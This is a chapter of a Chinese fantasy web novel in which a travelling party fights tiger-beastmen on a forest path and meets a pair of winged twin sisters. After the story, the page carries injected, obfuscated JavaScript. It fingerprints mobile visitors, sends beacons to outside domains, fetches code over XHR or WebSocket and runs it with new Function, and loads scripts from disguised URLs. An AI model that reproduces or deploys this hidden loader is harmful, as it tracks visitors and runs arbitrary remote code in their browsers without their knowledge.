正如他所言,頃刻之間,那邊的戰鬥已經進入白熱化,兩名獸人狂呼大叫,豬肉價格在數枚銅幣之間爭奪不下,如果轉換成強者決鬥,大概也快要到了生死一擊的最後局面。
“你要戰那便戰,我今日便要證明,你一生都注定在我之下,這便是老天給你的宿命!”
“給我收聲,強者一生遇強越強,我今日便要逆天啊!”
“口胡!口胡!口胡!”
“口桀!口桀!口桀!”
無視於我們這些外鄉人的驚愕,那兩個獸人的強者決鬥,已經到了我們全然無法理解的世界,開始像猩猩一般彎著手臂,抖動胸口肌肉,以狀聲詞進行最後對決。
“餵!哪有人這麼說話的,他們這樣講話不會瘋掉嗎?”
“你這樣說就不對了,入境隨俗,這是人家的傳統啊。”
扯著嚮導的衣領,我喝道:“傳統?他們說的那能算是人話嗎?”
“這個嘛,他們……他們是獸人啊。”

第八章並蒂霓虹
即使每天被圍毆十次,我想我也不可能學會這艱深之至的強者語,進一步強化語文的構想,只得被迫放棄了。
我們跟著茅延安出發,在大家一起上路後,我們才發現,這人自稱以地圖繪製師當副業果然不假,他帶我們走的許多隱密捷徑,甚至是當地獸人都不知道的,而偶爾遇到關阻檢查,他上前哈拉幾句,出示繪圖師的文件,把關的獸人士兵也笑著將我們放行,比我預期中更順利得多。
“看不出來你挺有一手的,茅老兄,我還以為你只是個鱉腳的九流畫師呢,真是不簡單啊。”
“什麼話,我對自己的畫技可是很有信心喔,當初金雀花聯邦曾經邀請我長駐,當大總統的御用畫師,只不過我當了三個月之後辭職而已。”
金雀花聯邦是位於索藍西亞北方的大國,光之神宮慈航靜殿就位於其國內,是一個文化、藝術水平相當高的國度,能夠在那邊任職御用畫師,是很了不起的成就,聽到他這樣說,阿雪甚至驚呼了一聲。
“好厲害喔,大叔,那你為什麼辭職了呢?”
甩甩筆上的水珠,茅 延安笑道:“因為呢,我發現自己還是一個嚮往自由的藝術人,像那樣定居在華屋花園裡頭,整天畫著宣揚神之榮光、領袖威儀的刻板畫作,雖然有高額俸祿,卻太過無趣了,相形之下,像這樣子徜徉山水,與風、日光和美酒為伴,這樣才是藝術人的人生啊。”
說著這樣的話,茅延安露出了很開心的表情,顯然是很享受現在這樣的生活方式。由於大家的價值觀不在一條線上,我對這種雖然自由,但是卻朝不保夕的生活不予置評,不過,連續兩日相處之後,越來越可以感受到這位中年畫師的俊逸風采。
特別是在他與我們一起上路的第二天,這位大叔刮去了鬍鬚,用一條絲帶綁好了散亂的長發,稍事梳洗之後,感覺全然不同了。剃去長須之後的他,真的說得上面如冠玉,將長發一綁,整個人更見精神,好像年輕了十幾歲一樣,神采奕奕,再拿上他最喜愛的畫筆,沾水作畫,在開朗微笑的同時,露出雪亮亮牙齒,看上去就像是和我們一樣的年輕,甚至還更見活力,叫他大叔真是不恰當。
鬢角的幾絡斑白,因為綁起頭髮而更明顯,但在他旺盛活力的影響下,看來只是增添了中年男子的性感,一點都感覺不出老態,當他朗聲大笑,和我們指點山水,大步趕路時,路旁經過的女性頻頻回頭,情不自禁地被這邊所吸引。
“餵,我說茅大叔啊,你整天幫阿雪畫畫,為的到底是什麼?”
“沒什麼特別的,我這個人呢,就是喜歡美麗的事物,一看到就手癢,只想要立刻紀錄下來,就是因為這樣,我才選擇當畫師的。”茅延安道:“阿雪小姐是這麼樣美麗的女性,我旅行各地,能夠像這樣給我驚艷感覺的女性可不多,趁著大家有緣分在一起,我當然要好好把握機會啊。”
為了方便他作畫,本來一直戴著面具的阿雪,改用面紗遮掩容顏,樣子仍然是極美,但我怎樣都無法相信,有人能每日對同一個模特兒作畫而不會煩。
“這麼崇高的理想啊?不過老實講,真的只是為了作畫嗎?你每次讓阿雪擺出不同的姿勢,看她那麼好的身材、那麼豐滿的胸部,難道你真的一點感覺都沒有?”
被我這樣一說,茅延安嘆了口氣,似有無限感慨般說道:“我少年時也是風流人物,留戀花叢,欠下風流債無數,回思過往,實在是很慚愧。現在雖然看到美人兒,但是已經心如止水,沒有其它妄念了。”
“去,不舉了就直說嘛,害我浪費口水。”
“這……好像不是那個意思吧。”
態度謙和,言語逗趣,再加上相貌俊逸,這位茅大叔實在是一位最佳旅伴,而他做事也極有分寸,不多問不該問的話,像是有關於我為何要去史凱瓦歌樓城,他提過一次,但是見我語焉不詳,也就不再多問。
“如果是去觀光旅遊,這當然是最好,那里風光明媚,雖然山勢險了些,可是確實有許多好風景,但如果是有其它目的,那就比較麻煩了,要是讓拜火教知道你和羽族有聯繫,隨時都會惹來殺身之禍,雖然你是阿里布達的萬騎長,但是身在南蠻,貴國也保你不住啊。”
有意無意間,茅延安向我們做出提點。他說的事情我不是沒想過,但若沒有危險性,這一趟也就算不上考驗了,既然已經答應龍女姊姊,怎樣我都要把任務完成。
“要先說清楚,我只負責當嚮導,可沒能耐當保鑣啊,遇上什麼危險,大家自己保護自己吧。”
我曾估計過目前己方的戰力,得到的答案實在很讓人氣餒。若敵人是那些只會使用蠻力的愚笨獸人,那麼我們足可應付,比起蠻力,俏生生的小阿雪說不定就是南蠻第一力士。但如果敵方出現獸魔使一類的高手,我們就會有危險,對上千變萬化的獸魔術,蠻力並沒有什麼用,要不是有一頭龍豹作主要戰力,我們的情勢還更糟。
“咦?南蠻的獸魔術不就是先宰殺猛獸,再把它的血肉魂魄祭煉成獸魔嗎?
如果你死都不肯練黑魔法的話,把這頭豹子宰了,去練獸魔術好了,怎樣?”
我曾這樣半開玩笑地問著阿雪,卻換來她沒好氣地一記白眼,其實我也不是很清楚獸魔術的煉製方法,因為那些法門在各獸族之間都是高度機密,只有族中祭師才被獲準研究。不過,淫術魔法書上有提到相關技術,靜下心來研究一段時間,未必就作不出來。
如果能一直和平地趕路,抵達目的地,那樣子當然是很好,無奈南蠻巨陽神不從外鄉人願,在我們出發的半個月後,終於碰到了阻礙。
上路後的前十天,我們還一直在公路上行走,但是十天過後,我們換過裝備,折向林間小道,穿越濃密森林,翻山而行。起先還算順遂,只是攀山越嶺之際,辛苦了些,可是在進入密林的第五天,當我們正準備找地方稍稍歇息,紫羅蘭低聲咆叫,表示有其它人靠近。
“阿雪,讓我下來!”
叫阿雪彎腰,我從她身後的背凳下來,向茅延安看了一眼,他很疑惑地搖搖頭。距離史凱瓦歌樓城還有數日路程,這裡又是極少有人會經過的小徑,照道理不該是碰上了羽族人。
我的選擇似乎晚了一步,對方的身法好快,只聽得前方樹林中一陣吵雜步履聲,兩道人影從裡頭竄了出來,見到前方有人,彼此都吃了一驚。
“姊姊,他們……”
兩個人都身穿斗篷,看不見面孔,體型嬌小,顯然是兩名女子,而從其中一名的稱呼,更說明了她們是一對姊妹。
乍見對方,兩方面都是一呆,沒想到會在這裡遇上陌生人,而沒等我們有所動作,樹林裡頭又是一陣喧嘩聲,這次聲音大得多,而隨著雜亂步伐聲越來越近,十多顆樹木倒了下來,竟是一群虎族獸人衝了出來。
這種罕見人蹤的山道,遠離了一般的部落,照理說不該碰上獸人,更別說一下子就遇上三五十個,看他們個個穿著同一款式的輕甲,腰配矛槌,顯然不是普通的旅人,而是隸屬於某個組織的一支小隊伍,從胸甲上的火焰圖案看來,九成九就是拜火教的教徒。
虎人們似是追逐那一對姊妹而來,見到她們,眼中露出喜色,但發現還有我們這些閒雜人等在旁,一陣訝異之後,狂呼大叫,將我們包圍起來。
瞧他們一個個張牙舞爪的樣子,明顯是不懷好意,而目標又是針對那兩姊妹,只是還沒決定怎麼處置我們而已,這時候我立刻有了決定。
“你們聽著,這些人和我們沒……”
同樣一句話,卻是從我和那兩個女子中的姊姊口中同時說出,講出來之後,更錯愕地朝對方看去。
我腦裡進行著分析。她們兩姊妹是獸人們的主要目標,會在這時候和我們撇清關係,那自然是因為不想波及旁人,並非討饒,而會說出這樣的話,不是因為心地太好,就是因為身負驚人業藝,不想把陌生人扯入,礙手礙腳。如果真是這樣,我又何必枉作小人,再說,以這些獸人的兇暴,即使撇清關係,難道他們就會對我們視若無睹嗎?
這樣一想,我便改了主意,抖手抽出腰間百鬼丸,朝一名離我最遠的獸人衝過去,同時喝道:“阿雪,動手!”
平常看不出來,阿雪除了力大無比,速度亦是奇快無比,得到我號令之後拔足急奔,眨眼間就沖在我前頭,朝那獸人撞過去。
那個虎頭獸人見到是這樣一個花朵般的小姑娘撞來,根本不以為意,甚至還轉頭對一旁的夥伴大笑,不過,這聲大笑很快就變成了哀嚎。
在我們旅行的這段時間裡,茅延安曾翻書指點阿雪一些基本護身術,這丫頭自知修習黑魔法的進展不佳,對於這些粗淺的拳腳功夫甚是用心,一招一式紮實苦練,現在便派上了用場。利用那股瞬間加速的衝力,阿雪微一斜身,使出霸王肘之類的招數,下一刻,只見阿雪整隻手臂幾乎都錐進了對方胸口,除了那倒黴獸人的哀嚎,我們甚至聽見了骨碎聲。
一聲轟然巨響,那個獸人口吐白沫,往後跌昏在地。阿雪顯得很吃驚,料不到自己一肘竟有這樣的殺傷力,那兩個姊妹也是驚呼了一聲,我和茅延安則是想到那獸人胸口的痛楚,感同身受,同時皺起了臉。
“你這婊子!”
獸人們驚覺了這小女人的恐怖殺傷力,怒吼著圍殺了過來,但卻仍是慢了一步,阿雪一記踢腿,把撲擊過來的一個獸人踢得倒跌出去,撞到後頭同伴,一起滾跌了個狗吃屎。
“沒用的廢柴們,便給我敗吧!”
纏著茅延安了幾日,阿雪也學了幾句不倫不類的強者語,在戰鬥的時候喊將出來,確實有幾分威態,唬得旁邊獸人們一愣一愣,卻恐怕連她自己都不知道自己說的是什麼意思。
一個獸人揮動矛槌衝了過去,阿雪眼捷手快,抓著他的粗壯手臂,往外一帶一摔。和對方相比,阿雪的細嫩玉臂簡直細得像一根象牙筷子,但在全場人的驚呼聲 中,偌大一個獸人巨體竟給她甩擲出去,直拋上十多尺的空中,重重摔入附近的樹林裡。
一場亂鬥就此展開,面對恐怕是現今南蠻的第一力士,獸人們可說是毫無招架之力,他們的指爪雖利,但是阿雪動作極快,普通攻擊根本傷她不著,反而趁隙又被她擊倒幾個,也直到七八名獸人合圍上來,縮小包圍圈子,在兵刃威脅之下,阿雪陷入險境。
“紫羅蘭,你上。”
沒等我發出號令,紫羅蘭已經竄身過去,幫助她的女主人。有龍豹的幫助,整個局面登時反轉過來,搶在矛槌砍砸下來之前,紫羅蘭噴出的高溫火焰已到,一舉便將包圍網左面的三個獸人化作火球塊,在慘嚎中滾倒一旁。
配合著紫羅蘭的撲擊、噬咬,阿雪很快就扳平局面,在她活力充沛的拳打腳踢下,真個是當者披靡,無人能擋。
她吸引了敵人主力,但也還是有幾個獸人從我們這邊靠近過來,想要襲擊我們兩個看起來不怎麼樣的男人。這可真是看不起人,茅延安是文人,這沒話講,我雖然身體弱,好歹也是個武將呢。
“嗯,沒人手了嗎?大叔,你上吧!”
即使是武將,聰明將領是不用自己出手的,更何況我一直很好奇,現在各國的局勢不定,山野之間更是不太安全,他能這樣闖蕩多年,難道真的連一點武力都沒有?
“咦?我也要上嗎?我可不是保鑣啊。”
“你是大叔嘛,你沒聽吟遊詩人說過嗎?所有的傳奇冒險故事中,主角身邊都會有一個大叔,那個大叔一定是身懷絕技,在主角變強之前,這個大叔就是專門用來當代打的,所以,上去殺敵吧,大叔。”
“嗯,有道理,你既然這麼說,我想不出手都不行了。”
本來還一副很疑惑的表情,但聽我這樣一說,茅延安點點頭,很認真地捲起袖子,露出他那雙看來實在不怎麼樣的拳頭,然後一把就將冷笑中的我推出去。
“喔!不該是這樣的……茅延安,去你媽的……”
他那一推手勁好強,我身不由己地連跌出十幾步,好不容易拿穩勢子,一頭獸人已經到了我面前,虎爪勢若千鈞地揮砸下來。危急之際,我舉起百鬼丸往上一撩,紅光乍現,輕而易舉地將那隻虎爪給卸了下來,再趁勢往前一刺,靠著神兵之助,立刻將那頭獸人了了帳。
淫術魔法書中的術法,並不適合這種沒時間念咒語的近身格鬥,更何況我並不希望在陌生人之前使用,搞到全天下都曉得我練有淫邪奇術,所以現在只能憑著我的膚淺武技來應付。那邊仗著力大與牙尖,這邊靠著寶劍鋒利,把獸人們的攻擊給逼住,靠不過來。出乎預料的局面,那一對姊妹似乎看呆了,一點反應都沒有。
但這情形卻無法長久,因為當發現自己的手下不中用,有幾個像是這支獸人小隊領頭的獸人,開始有了動作,三個背後有披風的虎人慢慢地揚起了手,像是在吟唱咒文似的念念有詞,魔力波動也隨之出現,正是要使用獸魔術的前奏。
(糟糕!)
我心中一驚,要阿雪與紫羅蘭靠緊一點,有這龍豹保護,低等級一點的獸魔應該還不構成威脅。然而,我的話才出口,一道亮眼之至的白光,自右後方猝然升起,閃耀奪目,逼得人無法正視。
(這是……獸魔術嗎?)
應該是的,因為在這陣白光裡頭,我感應到獸魔術特有的魔力波動,卻看不清是什麼樣的獸魔,這自然是因為出手之人有心掩飾的關係,但有一點很讓我驚訝,這不知名的獸魔,散發一種近乎光系魔法的神聖感覺,這是我不曾見過或聽過的事。
隱隱約約間,我見到那三名虎人首領的獸魔,甫才放出,便立刻連同主人一起被白光摧毀,跟著白光大盛,當連串破風聲劃過,白光消失,不分位於東西南北,所有的虎人已經橫屍就地,致命要害上留下箭矢一樣的傷痕,在這不知名獸魔的強大威力下全隊覆沒。
造成這戰果的,是那對一直站在我們後頭的兩姊妹,在殲滅獸人之後,妹妹似乎想要過來說上幾句話,卻被她身旁的姊姊拉著便走。
“兩位可是慈航靜殿……嗯,是心燈居士門下吧?”
在那兩姊妹要掉頭離開的時候,茅延安的一句話讓她們停下腳步。
“這位先生是……”
“老夫曾任職金雀花聯邦御用畫師,有幸謁見過慈航神尼,也曾與心燈居士有一面之緣……”
如果長須沒剃,或許還有幾分樣子,但是剃須之後的茅延安,自稱老夫,聽來實在是很不倫不類。說一些類似履歷表之類的場面話,是江湖人見面的常規,雖然只是在某個宴會上寒喧兩句,事後對方全然沒印象,也可以說是有一面之緣,這是自高身份的技巧,不過,他這番話中提到的幾個人,確實是大有來頭。
“光之神宮”慈航靜殿,是大地上正道勢力的中心,也是光明信仰的中心。
殿中高手無數,與不知位於何處,不知有何高手的暗之神殿互為死敵,自彼此存在起便一直爭鬥不休,主宰著大地上善惡勢力的消長。
上一代的神宮宮主弟子不少,但最後能傳其衣缽、得其認可為徒的一共僅有三人。
三弟子心燈居士,少年時得逢奇遇,精擅極其罕見的火系魔法,據說是位性情淡泊、愛好文藝的雅士,自從師兄接掌宮主之位後,飄然而去,雲遊四海。
二弟子心禪大師,本代光之神宮的執掌者,是眾所景仰的有道之士,弟子眾多,幾乎都是各國王儲、江湖名俠,我國二公主冷翎蘭就是出於其門下。
至於大弟子心印神尼,則是光之神宮中最頂尖的人物,無論禪學修為、光明神術均臻至頂峰,得到了神宮的最高稱號“普渡慈航”,一身武功更讓其擠身當世五大最強者之一,天河雪瓊據說就是她的徒弟。不過她長年閉關清修,各國王公欲參拜頂禮而不可得,茅延安所謂謁見,多半是在某次神宮祈福的大典上,遠遠地見到一下。
不過,他這一說,登時起了效果,那對姊妹互望一眼,齊聲問道:“請問前輩是……”
茅延安亮了亮行囊中的畫筆與畫卷,笑道:“老夫茅延安,與心燈居士於慈航靜殿一會後,不覺已十載光陰,歲月匆匆,不知故人是否安好如昔?”
我是不知道這名字有多大魔力啦,但是對方卻立即驚呼出口,態度也尊敬許多,更一改先前不願意與我們多所牽扯的高姿態,躬身施禮。
“原來是通天博學士茅大先生,家師常常向我們提起前輩的名字,今日有緣能拜見前輩,真是萬分欣喜。”
名銜好大,怪的是我以前好像從沒聽過,這時,阿雪和紫羅蘭靠近了過來,很好奇地問我到底發生了什麼事,我答不出來,腦裡頭卻不住響起警訊,像是有什麼很危險的事,偏生一時想不起來。
“獸魔術能帶有這麼強烈的神聖氣息,南蠻獸族可煉製不出,光之神宮能人雖多,但通曉獸魔煉製方法的,也就只有居士了,而居士門下弟子屈指可數,果然老夫所猜不錯,正是羽霓、羽虹兩位世侄女啊,但如果我記得沒錯,居士他曾經向我提過,你們應該是……”
茅延安語帶保留,笑道:“我們正要前往史凱瓦歌樓城,那里地處偏僻,兩位世侄女知道路徑嗎?如果不介意,大家一起上路如何?”
大概是這一句話起了決定性影響,那對姊妹在一陣低語後,解下了身上的斗篷與頭套。那真的是讓人眼前為之一亮,出現在我們眼前的,是一雙長相一模一樣的雙胞胎姊妹花,年紀大概是十六七歲,身上穿著同款式的白色武士勁裝,外套薄甲,腰間配著長劍,胸口還繡著慈航靜殿的紋飾。
“唷呵,師父啊,這兩位小姐好漂亮喔……”
不用阿雪說,我也有這樣的感覺。姊妹兩人都是碧綠色的眼眸,耀眼金發比陽光更為明亮,嬌俏明媚的秀美姿容,充滿青春氣息的健美身段,是對實實在在的美人兒姊妹。長相雖然一樣,但是卻不難分辨,因為兩人作著不同的打扮。
妹妹羽虹剪了一頭短髮,笑咪咪地甚是可人,胸口的胸甲斜紋是從右至左,腰間的長劍也是佩帶在右邊;姊姊羽霓將一頭長髮梳成馬尾,看上去成熟靜肅得多,胸甲斜紋與長劍佩帶的位置都與妹妹相反。
這些都是吸引我們目光的所在,不過,最讓我和阿雪吃驚的,就是這對姊妹脫去身上斗篷之後,“嘩啦”一聲,背後同時展開了一雙雪白的羽翼,迎風一展,兩姊妹就像天上仙女一樣地美麗動人。
“是……羽族?!”
我和阿雪都很吃驚,沒想到還沒有抵達羽族根據地,就在這裡碰到了羽族的美少女,不過,為什麼她們好像不知道史凱瓦歌樓城的位置呢?
“我們這次聽到消息,拜火教秘密調動,預備圍剿史凱瓦歌樓城,我和妹妹兼程趕來,希望能趕在敵軍抵達之前幫一幫手。”羽霓道:“不過我們從來沒有去過,又久久不曾回到故鄉,就在這裡迷了路,現在能遇到世伯,這真的是太好了。”
以現在南蠻的環境,她們姊妹兩人肯定不想洩漏自己出身羽族的秘密,現在會主動表露,那自然是迫不得已了。
“不要緊,不要緊,既然大家目的地一樣,我們就一起上路吧,反正也沒幾天的路程了。”茅延安和煦的笑容,在我看來卻比平時更為奸詐,但仍然困惑著我的那件事,卻是怎也想不起來。
“這邊兩個是我的世侄藍雕、世侄女阿雪,你們認識認識。”
這個老小子可真會佔便宜,隨便兩句,就變成了我們的世叔。雖說如此,但能夠和美人結識,我當然不會推卻,主動地上前寒喧,阿雪更為了表示誠意,揭開面紗,以真面目見人。
這時,我腦中一閃,想起了一件很重要的事。
在七朵名花之中,有一朵“並蒂霓虹”,聽說就是雙胞胎姊妹。她們在金雀花聯邦擔任緝拿罪犯的捕快工作,與冷翎蘭那個臭女人相交甚篤,從條件上看起來,那就是這兩姊妹了。
這兩人是心燈居士的弟子,並不在光之神宮中接受培訓,照理說不該熟識宮中重要人士,但她們既然能與心禪神僧的弟子冷翎蘭相熟,是不是也認識心印神尼的傳法人天河雪瓊呢?
只要有萬分之一的可能,只要這想法成真,那後果肯定就是……
腦裡閃過這樣的想法,要阻止,卻已經慢了一步,阿雪的面紗給拆下,隨著她的真面目露出,笑著和那霓虹姊妹熱情打招呼,一聲無法置信的驚呼聲 ,也同時從她們姊妹倆的口中傳出。
這時,我眼前一黑,腦中只想到一句前兩天茅延安私下教我,雖然不是強者語,但卻非常實用的羑里方言。
“老大,今次要仆街了!”

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();